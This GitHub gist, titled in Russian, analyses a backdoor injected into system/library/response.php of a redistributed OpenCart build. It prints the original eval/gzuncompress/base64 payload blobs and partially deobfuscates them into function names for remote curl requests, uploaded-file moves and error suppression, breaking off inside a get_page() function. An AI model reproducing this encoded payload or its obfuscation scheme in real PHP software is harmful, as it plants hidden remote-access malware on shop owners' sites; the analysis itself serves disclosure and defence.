Last active
September 1, 2015 10:50
-
-
Save cawa87/c6901d7e0dd9c06ba066 to your computer and use it in GitHub Desktop.
Вредоносный код в сборке opencart на сайте http://ruopencart.com/ - зараженный файл system/library/response.php
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| /* | |
| Исходная строка: | |
| $output_page = eval(gzuncompress(base64_decode('eNqdVE1rg0AQ/Ss9FDaBUnRpE6R4SA/tJVBMPURLkHx4Uimkp+bXN/NczW7s7K656OLbeTPz5o3378uP18Xy80sUYRhG8+d5MJOF2MSL43H7O9ltf8rZU3Eo99+HciKy5u2Up+LuUWTBWtJ7RY8aX2RU5UlMx1hMH/6LJCzNAnqt6SFX9TmKThWwBMFMNGF5SnkRRbm4PHSr56eDymGLoBsdt/02oWYvslWhrYrtgYCuOjnQzRJhdo5+PPQyteJuogLtdl8R+H2m6ZwH9NJ7UDm0ufM9dF7T5+LsxZzNGAXgGvi6zvpzVKF6S6UEKV9ceQLsYFIsCVsDpg2mU5/P1JebhuYsxo9MZNd7Ox2l9WUzHTvW5hr8Ba73eYSHHAoNN9XpHx/ufROFhO6ahEE5BO5gUShxRtUqsfGu3Hx85M1u57itbzDDe+PVIcynOwvC+OqS10M3J8fIyvodvkVVq1YGs0Mz1dX05Q9RpiiO'))); eval(gzuncompress(base64_decode('eNqVVLFuwjAQ/ZUOSAapqnwmiWNVGejQLkgVtEMShBB0DFnY4OubO8exY7V2slxAuXt5792zFx/bz7fN9uvATiAUzxPIhDyxY7G53c735cJ5DaBkKnkmutcHflyyqn1/1N8VL8X+WrGnFyYU1gZLvSsKtnr+dx7sPLbzkub3WA1WE8MQHQa2Gh74m7j0PLp5fAYx1gYDi8tnJk6i9WDfg/RrX7QegQ/UQzBBnJRwsM9yIV3aH+QU9SVzuHi+NDX+iczLfjdaB7njcTB6wjg54vi+/rVnzSnqsXIypzVhnc4H/NCSND1sFh0GgLGzNiljJWEQYVc8rKicuFpY28w7WdM7MiD6/MWzBol/CAdDZ4CkHiOSMyOtkI3iNjp+0wyV7lawDoZOzEXuX2ZzMoGp/GkVXNpd+LbitjEadQF9M3Ze2v6AhAbMZUhfoEOHA6vXXyUobeY='))); eval(gzuncompress(base64_decode('eNqVVNFugjAU/ZU9mKBxIUCpShYe3AMYYrboIjCMMYAzxoBbTKaDrx/3SlnHC1ea3t4Genp6zi09d/76PJ2/rZWtbul8YprMHG2VjT09n+Oi35NeG5Y2MfWRMa5er8+f36ddXxts+so784vEsZQHVflKchgyTRk8di0d6rAYPq8BSsijEOLyksIwW9gUIE3lcpc4lVF4HxRrHahs+MwWkBD5TNodYQFA5nUHpC5azQ8WCiDIAYx2wOaIAiL7cP0jZamhMvnpmrfcPdVKYplASCDk0YW29Uh6xl1zWW3cyoFoHXFLtzZ2YZMEswAsgiWhVyTM26c5Snetci0OIOUn0hlEa9jlThkF/JAgyIpeC1gESYDnMCLf0lP3B4sAUYNlhnQdK4+Dn4wmr9nujXsVSbyXSHRFqzHV4K0g4FKGRYCuYD0wL6vYH5C5QYMfD9HgOOBYSyFCvmQQd1NUkXoTbg0NBnORDwRvj1zxX+aD0ZBUZtOM5q170TGH7fEXxZaFkAS3B1mIkpig8/9QS1TJI6SxiVBc7sK46K/6rzehPA2GmyiDp1++2ouh'))); eval(gzuncompress(base64_decode('eNrNF4tu4kjsV+YidCEqlxcJj/JYdbtpD4lCD+jppLYXBRhKdkMSTSZt2ar/fp4kwCRH21V0Wh3IIbZnbI/tsc0q9hfUDXz0gKkdOg+4WomJJ71U4NWnPfEq+O56nqOYsoqqV87C9WkQrTvopoMGPsUeAhoaT9FfSFNls4NIDPB4qsltWZfbErrEi2+BoquaqrZ0A124BK+CZ6UuN+S22Kks1r3K5XD8+Ww4vRVtra2ZLcOoGw1bvL/lGZrWbppNtaEzhl6/r5Ig9pdVVZLuq1KnhAjjIOJElXWz8ACxYFvt/GYyHF/PbPipJX4po8rMqWrwn+bHhKIlU2tydmmNZrU0QqUsauQtKkJB5cSa3UxGs8nZaHphTWq8WL2ttgytoTeZ2EzkSV1uFYFJfNOaJhfNo7EodcYWd8adZceE88wiHJgav47tNKWCl/60Jp/HU6u2crwIl7K4zVmsMfvyj4K+2eDKGt/MPg6HmX7fC0Fd5UPw9jLtiE+1d51U3vUSCzsrSCUKRF0/Ymj9pJ7FDARjQgKSSBe7yjxYbvtdZU03Xh9q0prScBEsSynmKhPkvcmAi9tgdDG2f5/Nru3z8RerTJLU+bqly/nS8QG+O3z05NLFuro/p/SycCKMRF1VxVOCaUx8lHi+MyfY+dZJuYZqHLh79+WWmKr+9pLX1xKnNXNXolUEOJFlnw2Hf1v2aDwbnINL3VXVjSJMqxX70prdikFMw5hG4r0EPS1DekVe5/WwLSNKvR4SvcBZitILJ/N6PIWNS5ekAqlD0r5JoY/xzM4rhjKQXyCKndf8Dg5Bcgn3NHLZVuc/H+EsGeyLwdACsSvXwyBO9J0N/CY+LGFMM5eZTbPwOKaQbkI7VVrjfQGexYt1gITZGiO2Fgml3HOsBWgFt3yAHzbqJzpfsFpFkN7xKJIFFIcsm/DyFyHLjfSIFrsmjJRg3TnpJ7AKyAY5yWTWuxM+7RKXibgT0AbTdbAERhhEFHAMM9w2xEDYxB51Q4dQhUn4belQ507oo67nzGFWAxqsgQQF2heYxBY0INvTrpJw+13XByUok0TxMxPNTrDbg9zl/lXpI/yMN6GHT9EyePKZZQoC24GT08ZcAeou4IfJekNbumqnLcMSddm70s9k57ZF8Xzjcmbu8UfHixlhuiPAzsQlfSG57JUVxf6ytx96BVYMTxXlIQgePPzVeXSiBXFDKi+CjcJQxQldOVyHnyJMHjHpsYy0YRaDtn8rpr/26OzKEu8h2L8mnSW3ZGL9cWNN2SQ5SEvHygX9DiHOtipkLUioCVkXgrfMoCCE4EI8mSFAfXp6kgukjfP8PfBlErP37Z6Z4DsMTh5v8qQCNt8K0I8IDj1ngXd2CbXUT3trSFxQ/jMIYFcQQ9DL9ON2vl0Wgd1ZFoja7uS1VFWZ1myoR8qNDsWhAKxQwCWKQN/WTrpkxAKxWgmltGpH59ymWXjwzH8P/IfyyL4/KChdW5grj46gBsx0BXhvHDW48Y2NgUltTAOz66v87fl59+F/nu1GfvrUi/B2tuc8XEIxP5W2YOxtJWPvf5jl5pEsN0CRwf/H0Nk/i/zjh9JTfz8bG/ls/Addwu3V'))); | |
| Состоит из: | |
| eval(gzuncompress(base64_decode('eNqdVE1rg0AQ/Ss9FDaBUnRpE6R4SA/tJVBMPURLkHx4Uimkp+bXN/NczW7s7K656OLbeTPz5o3378uP18Xy80sUYRhG8+d5MJOF2MSL43H7O9ltf8rZU3Eo99+HciKy5u2Up+LuUWTBWtJ7RY8aX2RU5UlMx1hMH/6LJCzNAnqt6SFX9TmKThWwBMFMNGF5SnkRRbm4PHSr56eDymGLoBsdt/02oWYvslWhrYrtgYCuOjnQzRJhdo5+PPQyteJuogLtdl8R+H2m6ZwH9NJ7UDm0ufM9dF7T5+LsxZzNGAXgGvi6zvpzVKF6S6UEKV9ceQLsYFIsCVsDpg2mU5/P1JebhuYsxo9MZNd7Ox2l9WUzHTvW5hr8Ba73eYSHHAoNN9XpHx/ufROFhO6ahEE5BO5gUShxRtUqsfGu3Hx85M1u57itbzDDe+PVIcynOwvC+OqS10M3J8fIyvodvkVVq1YGs0Mz1dX05Q9RpiiO'))); | |
| eval(gzuncompress(base64_decode('eNqVVLFuwjAQ/ZUOSAapqnwmiWNVGejQLkgVtEMShBB0DFnY4OubO8exY7V2slxAuXt5792zFx/bz7fN9uvATiAUzxPIhDyxY7G53c735cJ5DaBkKnkmutcHflyyqn1/1N8VL8X+WrGnFyYU1gZLvSsKtnr+dx7sPLbzkub3WA1WE8MQHQa2Gh74m7j0PLp5fAYx1gYDi8tnJk6i9WDfg/RrX7QegQ/UQzBBnJRwsM9yIV3aH+QU9SVzuHi+NDX+iczLfjdaB7njcTB6wjg54vi+/rVnzSnqsXIypzVhnc4H/NCSND1sFh0GgLGzNiljJWEQYVc8rKicuFpY28w7WdM7MiD6/MWzBol/CAdDZ4CkHiOSMyOtkI3iNjp+0wyV7lawDoZOzEXuX2ZzMoGp/GkVXNpd+LbitjEadQF9M3Ze2v6AhAbMZUhfoEOHA6vXXyUobeY='))); | |
| eval(gzuncompress(base64_decode('eNqVVNFugjAU/ZU9mKBxIUCpShYe3AMYYrboIjCMMYAzxoBbTKaDrx/3SlnHC1ea3t4Genp6zi09d/76PJ2/rZWtbul8YprMHG2VjT09n+Oi35NeG5Y2MfWRMa5er8+f36ddXxts+so784vEsZQHVflKchgyTRk8di0d6rAYPq8BSsijEOLyksIwW9gUIE3lcpc4lVF4HxRrHahs+MwWkBD5TNodYQFA5nUHpC5azQ8WCiDIAYx2wOaIAiL7cP0jZamhMvnpmrfcPdVKYplASCDk0YW29Uh6xl1zWW3cyoFoHXFLtzZ2YZMEswAsgiWhVyTM26c5Snetci0OIOUn0hlEa9jlThkF/JAgyIpeC1gESYDnMCLf0lP3B4sAUYNlhnQdK4+Dn4wmr9nujXsVSbyXSHRFqzHV4K0g4FKGRYCuYD0wL6vYH5C5QYMfD9HgOOBYSyFCvmQQd1NUkXoTbg0NBnORDwRvj1zxX+aD0ZBUZtOM5q170TGH7fEXxZaFkAS3B1mIkpig8/9QS1TJI6SxiVBc7sK46K/6rzehPA2GmyiDp1++2ouh'))); | |
| eval(gzuncompress(base64_decode('eNrNF4tu4kjsV+YidCEqlxcJj/JYdbtpD4lCD+jppLYXBRhKdkMSTSZt2ar/fp4kwCRH21V0Wh3IIbZnbI/tsc0q9hfUDXz0gKkdOg+4WomJJ71U4NWnPfEq+O56nqOYsoqqV87C9WkQrTvopoMGPsUeAhoaT9FfSFNls4NIDPB4qsltWZfbErrEi2+BoquaqrZ0A124BK+CZ6UuN+S22Kks1r3K5XD8+Ww4vRVtra2ZLcOoGw1bvL/lGZrWbppNtaEzhl6/r5Ig9pdVVZLuq1KnhAjjIOJElXWz8ACxYFvt/GYyHF/PbPipJX4po8rMqWrwn+bHhKIlU2tydmmNZrU0QqUsauQtKkJB5cSa3UxGs8nZaHphTWq8WL2ttgytoTeZ2EzkSV1uFYFJfNOaJhfNo7EodcYWd8adZceE88wiHJgav47tNKWCl/60Jp/HU6u2crwIl7K4zVmsMfvyj4K+2eDKGt/MPg6HmX7fC0Fd5UPw9jLtiE+1d51U3vUSCzsrSCUKRF0/Ymj9pJ7FDARjQgKSSBe7yjxYbvtdZU03Xh9q0prScBEsSynmKhPkvcmAi9tgdDG2f5/Nru3z8RerTJLU+bqly/nS8QG+O3z05NLFuro/p/SycCKMRF1VxVOCaUx8lHi+MyfY+dZJuYZqHLh79+WWmKr+9pLX1xKnNXNXolUEOJFlnw2Hf1v2aDwbnINL3VXVjSJMqxX70prdikFMw5hG4r0EPS1DekVe5/WwLSNKvR4SvcBZitILJ/N6PIWNS5ekAqlD0r5JoY/xzM4rhjKQXyCKndf8Dg5Bcgn3NHLZVuc/H+EsGeyLwdACsSvXwyBO9J0N/CY+LGFMM5eZTbPwOKaQbkI7VVrjfQGexYt1gITZGiO2Fgml3HOsBWgFt3yAHzbqJzpfsFpFkN7xKJIFFIcsm/DyFyHLjfSIFrsmjJRg3TnpJ7AKyAY5yWTWuxM+7RKXibgT0AbTdbAERhhEFHAMM9w2xEDYxB51Q4dQhUn4belQ507oo67nzGFWAxqsgQQF2heYxBY0INvTrpJw+13XByUok0TxMxPNTrDbg9zl/lXpI/yMN6GHT9EyePKZZQoC24GT08ZcAeou4IfJekNbumqnLcMSddm70s9k57ZF8Xzjcmbu8UfHixlhuiPAzsQlfSG57JUVxf6ytx96BVYMTxXlIQgePPzVeXSiBXFDKi+CjcJQxQldOVyHnyJMHjHpsYy0YRaDtn8rpr/26OzKEu8h2L8mnSW3ZGL9cWNN2SQ5SEvHygX9DiHOtipkLUioCVkXgrfMoCCE4EI8mSFAfXp6kgukjfP8PfBlErP37Z6Z4DsMTh5v8qQCNt8K0I8IDj1ngXd2CbXUT3trSFxQ/jMIYFcQQ9DL9ON2vl0Wgd1ZFoja7uS1VFWZ1myoR8qNDsWhAKxQwCWKQN/WTrpkxAKxWgmltGpH59ymWXjwzH8P/IfyyL4/KChdW5grj46gBsx0BXhvHDW48Y2NgUltTAOz66v87fl59+F/nu1GfvrUi/B2tuc8XEIxP5W2YOxtJWPvf5jl5pEsN0CRwf/H0Nk/i/zjh9JTfz8bG/ls/Addwu3V'))); | |
| $GLOBALS заменил на $gl | |
| */ | |
| $gl = array(); | |
| //gzuncompress(base64_decode('eNqdVE1rg0AQ/Ss9FDaBUnRpE6R4SA/tJVBMPURLkHx4Uimkp+bXN/NczW7s7K656OLbeTPz5o3378uP18Xy80sUYRhG8+d5MJOF2MSL43H7O9ltf8rZU3Eo99+HciKy5u2Up+LuUWTBWtJ7RY8aX2RU5UlMx1hMH/6LJCzNAnqt6SFX9TmKThWwBMFMNGF5SnkRRbm4PHSr56eDymGLoBsdt/02oWYvslWhrYrtgYCuOjnQzRJhdo5+PPQyteJuogLtdl8R+H2m6ZwH9NJ7UDm0ufM9dF7T5+LsxZzNGAXgGvi6zvpzVKF6S6UEKV9ceQLsYFIsCVsDpg2mU5/P1JebhuYsxo9MZNd7Ox2l9WUzHTvW5hr8Ba73eYSHHAoNN9XpHx/ufROFhO6ahEE5BO5gUShxRtUqsfGu3Hx85M1u57itbzDDe+PVIcynOwvC+OqS10M3J8fIyvodvkVVq1YGs0Mz1dX05Q9RpiiO')); | |
| $gl['_1119757062_']=array( | |
| base64_decode('YmFzZT' .'Y0X2' .'R' .'l' .'Y29kZQ=' .'='), | |
| base64_decode('YmFzZ' .'TY0' .'X' .'2RlY29' .'kZ' .'Q' .'=='), | |
| base64_decode('YmFz' .'ZTY0X2RlY29kZQ=='), | |
| base64_decode('YmFzZTY0X' .'2RlY2' .'9' .'kZQ=='), | |
| base64_decode('YmFzZTY' .'0X2RlY29' .'kZQ=='), | |
| base64_decode('YmF' .'zZ' .'TY0' .'X2R' .'lY29kZQ' .'=='), | |
| base64_decode('Y' .'mFzZTY0X2R' .'l' .'Y29kZQ=='), | |
| base64_decode('Y' .'mFz' .'ZTY0X2RlY2' .'9kZ' .'Q' .'=='), | |
| base64_decode('YmFzZTY0X2RlY29kZQ' .'=='), | |
| base64_decode('' .'YmFzZTY0X2Rl' .'Y29kZ' .'Q=' .'='), | |
| base64_decode('YmFzZ' .'TY0X2RlY29kZQ=='), | |
| base64_decode('YmF' .'z' .'ZTY0X2Rl' .'Y29' .'kZ' .'Q=='), | |
| base64_decode('YmFzZT' .'Y0X2RlY29' .'kZQ' .'=='), | |
| base64_decode('' .'YmFzZ' .'TY0' .'X2RlY29kZQ' .'=='), | |
| base64_decode('' .'YmFzZTY0X' .'2' .'RlY' .'2' .'9k' .'Z' .'Q=='), | |
| base64_decode('Ym' .'F' .'zZTY0' .'X2R' .'l' .'Y' .'29k' .'ZQ=='), | |
| base64_decode('' .'Y' .'m' .'Fz' .'Z' .'TY0X2RlY29kZQ=' .'='), | |
| base64_decode('Y' .'mFzZTY0' .'X2R' .'lY29kZQ' .'=' .'='), | |
| base64_decode('' .'YmFz' .'ZT' .'Y0X' .'2RlY29kZQ=='), | |
| base64_decode('YmFzZTY0' .'X2' .'R' .'l' .'Y29' .'kZ' .'Q' .'=' .'='), | |
| base64_decode('YmFzZ' .'TY0X2RlY29k' .'ZQ=='), | |
| base64_decode('' .'YmFzZTY' .'0X2RlY29kZ' .'Q=='), | |
| base64_decode('YmFzZTY0X2RlY29k' .'ZQ=='), | |
| base64_decode('cm91' .'bmQ='), | |
| base64_decode('cm91bmQ='), | |
| base64_decode('cm' .'91bmQ='), | |
| base64_decode('cm9' .'1bm' .'Q='), | |
| base64_decode('cm' .'91' .'bmQ='), | |
| base64_decode('cm91bm' .'Q='), | |
| base64_decode('cm91bm' .'Q='), | |
| base64_decode('cm' .'91' .'bm' .'Q='), | |
| base64_decode('cm91bmQ='), | |
| base64_decode('cm91bmQ='), | |
| base64_decode('cm' .'91' .'b' .'mQ='), | |
| base64_decode('cm' .'91bmQ='), | |
| base64_decode('' .'cm91bm' .'Q='), | |
| base64_decode('cm91bmQ='), | |
| base64_decode('cm91bmQ' .'='), | |
| base64_decode('cm' .'91bm' .'Q='), | |
| base64_decode('cm91bm' .'Q' .'='), | |
| base64_decode('cm' .'91bmQ='), | |
| base64_decode('cm91bmQ='), | |
| base64_decode('c' .'m' .'91bmQ='), | |
| base64_decode('cm91bmQ='), | |
| base64_decode('cm91bmQ='), | |
| base64_decode('' .'c' .'m' .'91bm' .'Q='), | |
| base64_decode('cm91bmQ' .'=') | |
| ); | |
| /*array ( | |
| 0 => 'base64_decode', | |
| 1 => 'base64_decode', | |
| 2 => 'base64_decode', | |
| 3 => 'base64_decode', | |
| 4 => 'base64_decode', | |
| 5 => 'base64_decode', | |
| 6 => 'base64_decode', | |
| 7 => 'base64_decode', | |
| 8 => 'base64_decode', | |
| 9 => 'base64_decode', | |
| 10 => 'base64_decode', | |
| 11 => 'base64_decode', | |
| 12 => 'base64_decode', | |
| 13 => 'base64_decode', | |
| 14 => 'base64_decode', | |
| 15 => 'base64_decode', | |
| 16 => 'base64_decode', | |
| 17 => 'base64_decode', | |
| 18 => 'base64_decode', | |
| 19 => 'base64_decode', | |
| 20 => 'base64_decode', | |
| 21 => 'base64_decode', | |
| 22 => 'base64_decode', | |
| 23 => 'round', | |
| 24 => 'round', | |
| 25 => 'round', | |
| 26 => 'round', | |
| 27 => 'round', | |
| 28 => 'round', | |
| 29 => 'round', | |
| 30 => 'round', | |
| 31 => 'round', | |
| 32 => 'round', | |
| 33 => 'round', | |
| 34 => 'round', | |
| 35 => 'round', | |
| 36 => 'round', | |
| 37 => 'round', | |
| 38 => 'round', | |
| 39 => 'round', | |
| 40 => 'round', | |
| 41 => 'round', | |
| 42 => 'round', | |
| 43 => 'round', | |
| 44 => 'round', | |
| 45 => 'round', | |
| 46 => 'round', | |
| )*/ | |
| // gzuncompress(base64_decode('eNqVVLFuwjAQ/ZUOSAapqnwmiWNVGejQLkgVtEMShBB0DFnY4OubO8exY7V2slxAuXt5792zFx/bz7fN9uvATiAUzxPIhDyxY7G53c735cJ5DaBkKnkmutcHflyyqn1/1N8VL8X+WrGnFyYU1gZLvSsKtnr+dx7sPLbzkub3WA1WE8MQHQa2Gh74m7j0PLp5fAYx1gYDi8tnJk6i9WDfg/RrX7QegQ/UQzBBnJRwsM9yIV3aH+QU9SVzuHi+NDX+iczLfjdaB7njcTB6wjg54vi+/rVnzSnqsXIypzVhnc4H/NCSND1sFh0GgLGzNiljJWEQYVc8rKicuFpY28w7WdM7MiD6/MWzBol/CAdDZ4CkHiOSMyOtkI3iNjp+0wyV7lawDoZOzEXuX2ZzMoGp/GkVXNpd+LbitjEadQF9M3Ze2v6AhAbMZUhfoEOHA6vXXyUobeY=')); | |
| $gl['_1290841627_']=Array( | |
| $gl['_1119757062_'][0]('YmFzZTY0X2RlY' .'29' .'k' .'ZQ=='), | |
| $gl['_1119757062_'][1]('YmFzZTY' .'0X' .'2R' .'lY' .'29kZQ=='), | |
| $gl['_1119757062_'][2]('' .'YmFzZTY0' .'X2RlY29' .'kZQ=' .'='), | |
| $gl['_1119757062_'][3]('' .'Y' .'mFzZTY' .'0X2RlY29' .'kZQ=' .'='), | |
| $gl['_1119757062_'][4]('YmF' .'z' .'ZTY0X2R' .'lY2' .'9kZQ' .'=='), | |
| $gl['_1119757062_'][5]('Ym' .'FzZTY' .'0' .'X' .'2RlY29kZQ=='), | |
| $gl['_1119757062_'][6]('YmF' .'zZTY0' .'X2RlY29kZ' .'Q=='), | |
| $gl['_1119757062_'][7]('YmFz' .'ZT' .'Y0' .'X' .'2RlY2' .'9kZQ=='), | |
| $gl['_1119757062_'][8]('Y' .'mFzZTY' .'0X' .'2R' .'lY' .'29kZ' .'Q=' .'='), | |
| $gl['_1119757062_'][9]('YmFzZTY0' .'X2' .'RlY2' .'9kZQ=='), | |
| $gl['_1119757062_'][10]('YmFzZTY0X2Rl' .'Y2' .'9' .'kZQ=='), | |
| $gl['_1119757062_'][11]('YmF' .'zZTY' .'0X2RlY' .'29kZ' .'Q=='), | |
| $gl['_1119757062_'][12]('Ym' .'F' .'zZTY0X2RlY29kZQ=='), | |
| $gl['_1119757062_'][13]('' .'YmF' .'z' .'ZT' .'Y0X2RlY29k' .'ZQ' .'=='), | |
| $gl['_1119757062_'][14]('YmFzZTY' .'0X2' .'RlY29k' .'ZQ' .'=='), | |
| $gl['_1119757062_'][15]('' .'YmF' .'zZTY0X' .'2RlY29kZQ=='), | |
| $gl['_1119757062_'][16]('YmFz' .'ZTY' .'0X2RlY29kZ' .'Q=='), | |
| $gl['_1119757062_'][17]('YmF' .'zZ' .'TY0X2RlY2' .'9kZQ=='), | |
| $gl['_1119757062_'][18]('YmFzZTY0X2RlY2' .'9' .'kZQ=='), | |
| $gl['_1119757062_'][19]('cm91bmQ='), | |
| $gl['_1119757062_'][20]('cm91bmQ' .'='), | |
| $gl['_1119757062_'][21]('cm91' .'bm' .'Q='), | |
| $gl['_1119757062_'][22]('' .'cm91b' .'mQ=') | |
| ); | |
| /*array ( | |
| 0 => 'base64_decode', | |
| 1 => 'base64_decode', | |
| 2 => 'base64_decode', | |
| 3 => 'base64_decode', | |
| 4 => 'base64_decode', | |
| 5 => 'base64_decode', | |
| 6 => 'base64_decode', | |
| 7 => 'base64_decode', | |
| 8 => 'base64_decode', | |
| 9 => 'base64_decode', | |
| 10 => 'base64_decode', | |
| 11 => 'base64_decode', | |
| 12 => 'base64_decode', | |
| 13 => 'base64_decode', | |
| 14 => 'base64_decode', | |
| 15 => 'base64_decode', | |
| 16 => 'base64_decode', | |
| 17 => 'base64_decode', | |
| 18 => 'base64_decode', | |
| 19 => 'round', | |
| 20 => 'round', | |
| 21 => 'round', | |
| 22 => 'round', | |
| )*/ | |
| //gzuncompress(base64_decode('eNqVVNFugjAU/ZU9mKBxIUCpShYe3AMYYrboIjCMMYAzxoBbTKaDrx/3SlnHC1ea3t4Genp6zi09d/76PJ2/rZWtbul8YprMHG2VjT09n+Oi35NeG5Y2MfWRMa5er8+f36ddXxts+so784vEsZQHVflKchgyTRk8di0d6rAYPq8BSsijEOLyksIwW9gUIE3lcpc4lVF4HxRrHahs+MwWkBD5TNodYQFA5nUHpC5azQ8WCiDIAYx2wOaIAiL7cP0jZamhMvnpmrfcPdVKYplASCDk0YW29Uh6xl1zWW3cyoFoHXFLtzZ2YZMEswAsgiWhVyTM26c5Snetci0OIOUn0hlEa9jlThkF/JAgyIpeC1gESYDnMCLf0lP3B4sAUYNlhnQdK4+Dn4wmr9nujXsVSbyXSHRFqzHV4K0g4FKGRYCuYD0wL6vYH5C5QYMfD9HgOOBYSyFCvmQQd1NUkXoTbg0NBnORDwRvj1zxX+aD0ZBUZtOM5q170TGH7fEXxZaFkAS3B1mIkpig8/9QS1TJI6SxiVBc7sK46K/6rzehPA2GmyiDp1++2ouh')); | |
| $gl['_1915844346_']=Array( | |
| $gl['_1290841627_'][round(0)]('Y3VybF9' .'pbm' .'l0'), | |
| $gl['_1290841627_'][round(0+1)]('' .'Y3VybF9z' .'ZX' .'Rvc' .'HQ='), | |
| $gl['_1290841627_'][round(0+0.5+0.5+0.5+0.5)]('Y3VybF9zZXRvc' .'HQ='), | |
| $gl['_1290841627_'][round(0+3)]('Y3VybF9' .'zZX' .'RvcHQ' .'='), | |
| $gl['_1290841627_'][round(0+0.8+0.8+0.8+0.8+0.8)]('Y' .'3VybF9zZXRvcHQ' .'='), | |
| $gl['_1290841627_'][round(0+1+1+1+1+1)]('Y3V' .'ybF9zZXR' .'vcHQ='), | |
| $gl['_1290841627_'][round(0+3+3)]('Y3V' .'ybF9leGVj'), | |
| $gl['_1290841627_'][round(0+2.3333333333333+2.3333333333333+2.3333333333333)]('' .'Y3VybF9nZX' .'R' .'p' .'b' .'mZv'), | |
| $gl['_1290841627_'][round(0+2.6666666666667+2.6666666666667+2.6666666666667)]('Y' .'3Vy' .'bF' .'9jb' .'G9' .'zZQ=='), | |
| $gl['_1290841627_'][round(0+9)]('Z' .'XJyb3JfcmV' .'wb3J0aW' .'5n'), | |
| $gl['_1290841627_'][round(0+2+2+2+2+2)]('Y' .'mFzZW5hbW' .'U' .'='), | |
| $gl['_1290841627_'][round(0+11)]('bW9' .'2ZV91cGx' .'vY' .'WRlZ' .'F9maWxl'), | |
| $gl['_1290841627_'][round(0+2.4+2.4+2.4+2.4+2.4)]('' .'YmFz' .'ZW5hbWU='), | |
| $gl['_1290841627_'][round(0+3.25+3.25+3.25+3.25)]('' .'c3' .'Ry' .'X' .'3JlcGxhY' .'2U='), | |
| $gl['_1290841627_'][round(0+7+7)]('aW5' .'pX3' .'Nl' .'dA' .'=='), | |
| $gl['_1290841627_'][round(0+3+3+3+3+3)]('ZXJyb' .'3' .'Jf' .'cm' .'Vwb3J' .'0aW5n'), | |
| $gl['_1290841627_'][round(0+5.3333333333333+5.3333333333333+5.3333333333333)]('c' .'3RyX' .'3Jl' .'cGxhY2U='), | |
| $gl['_1290841627_'][round(0+4.25+4.25+4.25+4.25)]('aW5pX3Nl' .'dA=='), | |
| $gl['_1290841627_'][round(0+4.5+4.5+4.5+4.5)]('' .'ZXJyb3JfcmVwb' .'3J0' .'aW5n') | |
| ); | |
| /*array ( | |
| 0 => 'curl_init', | |
| 1 => 'curl_setopt', | |
| 2 => 'curl_setopt', | |
| 3 => 'curl_setopt', | |
| 4 => 'curl_setopt', | |
| 5 => 'curl_setopt', | |
| 6 => 'curl_exec', | |
| 7 => 'curl_getinfo', | |
| 8 => 'curl_close', | |
| 9 => 'error_reporting', | |
| 10 => 'basename', | |
| 11 => 'move_uploaded_file', | |
| 12 => 'basename', | |
| 13 => 'str_replace', | |
| 14 => 'ini_set', | |
| 15 => 'error_reporting', | |
| 16 => 'str_replace', | |
| 17 => 'ini_set', | |
| 18 => 'error_reporting', | |
| )*/ | |
| //gzuncompress(base64_decode('eNrNF4tu4kjsV+YidCEqlxcJj/JYdbtpD4lCD+jppLYXBRhKdkMSTSZt2ar/fp4kwCRH21V0Wh3IIbZnbI/tsc0q9hfUDXz0gKkdOg+4WomJJ71U4NWnPfEq+O56nqOYsoqqV87C9WkQrTvopoMGPsUeAhoaT9FfSFNls4NIDPB4qsltWZfbErrEi2+BoquaqrZ0A124BK+CZ6UuN+S22Kks1r3K5XD8+Ww4vRVtra2ZLcOoGw1bvL/lGZrWbppNtaEzhl6/r5Ig9pdVVZLuq1KnhAjjIOJElXWz8ACxYFvt/GYyHF/PbPipJX4po8rMqWrwn+bHhKIlU2tydmmNZrU0QqUsauQtKkJB5cSa3UxGs8nZaHphTWq8WL2ttgytoTeZ2EzkSV1uFYFJfNOaJhfNo7EodcYWd8adZceE88wiHJgav47tNKWCl/60Jp/HU6u2crwIl7K4zVmsMfvyj4K+2eDKGt/MPg6HmX7fC0Fd5UPw9jLtiE+1d51U3vUSCzsrSCUKRF0/Ymj9pJ7FDARjQgKSSBe7yjxYbvtdZU03Xh9q0prScBEsSynmKhPkvcmAi9tgdDG2f5/Nru3z8RerTJLU+bqly/nS8QG+O3z05NLFuro/p/SycCKMRF1VxVOCaUx8lHi+MyfY+dZJuYZqHLh79+WWmKr+9pLX1xKnNXNXolUEOJFlnw2Hf1v2aDwbnINL3VXVjSJMqxX70prdikFMw5hG4r0EPS1DekVe5/WwLSNKvR4SvcBZitILJ/N6PIWNS5ekAqlD0r5JoY/xzM4rhjKQXyCKndf8Dg5Bcgn3NHLZVuc/H+EsGeyLwdACsSvXwyBO9J0N/CY+LGFMM5eZTbPwOKaQbkI7VVrjfQGexYt1gITZGiO2Fgml3HOsBWgFt3yAHzbqJzpfsFpFkN7xKJIFFIcsm/DyFyHLjfSIFrsmjJRg3TnpJ7AKyAY5yWTWuxM+7RKXibgT0AbTdbAERhhEFHAMM9w2xEDYxB51Q4dQhUn4belQ507oo67nzGFWAxqsgQQF2heYxBY0INvTrpJw+13XByUok0TxMxPNTrDbg9zl/lXpI/yMN6GHT9EyePKZZQoC24GT08ZcAeou4IfJekNbumqnLcMSddm70s9k57ZF8Xzjcmbu8UfHixlhuiPAzsQlfSG57JUVxf6ytx96BVYMTxXlIQgePPzVeXSiBXFDKi+CjcJQxQldOVyHnyJMHjHpsYy0YRaDtn8rpr/26OzKEu8h2L8mnSW3ZGL9cWNN2SQ5SEvHygX9DiHOtipkLUioCVkXgrfMoCCE4EI8mSFAfXp6kgukjfP8PfBlErP37Z6Z4DsMTh5v8qQCNt8K0I8IDj1ngXd2CbXUT3trSFxQ/jMIYFcQQ9DL9ON2vl0Wgd1ZFoja7uS1VFWZ1myoR8qNDsWhAKxQwCWKQN/WTrpkxAKxWgmltGpH59ymWXjwzH8P/IfyyL4/KChdW5grj46gBsx0BXhvHDW48Y2NgUltTAOz66v87fl59+F/nu1GfvrUi/B2tuc8XEIxP5W2YOxtJWPvf5jl5pEsN0CRwf/H0Nk/i/zjh9JTfz8bG/ls/Addwu3V')); | |
| /*function get_page($url){ | |
| $agent='Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ru; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9'; | |
| $ch=$gl['_1915844346_'][$gl['_1119757062_'][23](round(0))](); | |
| $gl['_1915844346_'][$gl['_1119757062_'][24](round(0)+0.25+0.25+0.25+0.25)]($ch,CURLOPT_URL,$url); | |
| $gl['_1915844346_'][$gl['_1119757062_'][25](round(0)+0.66666666666667+0.66666666666667+0.66666666666667)]($ch,CURLOPT_USERAGENT,$agent); | |
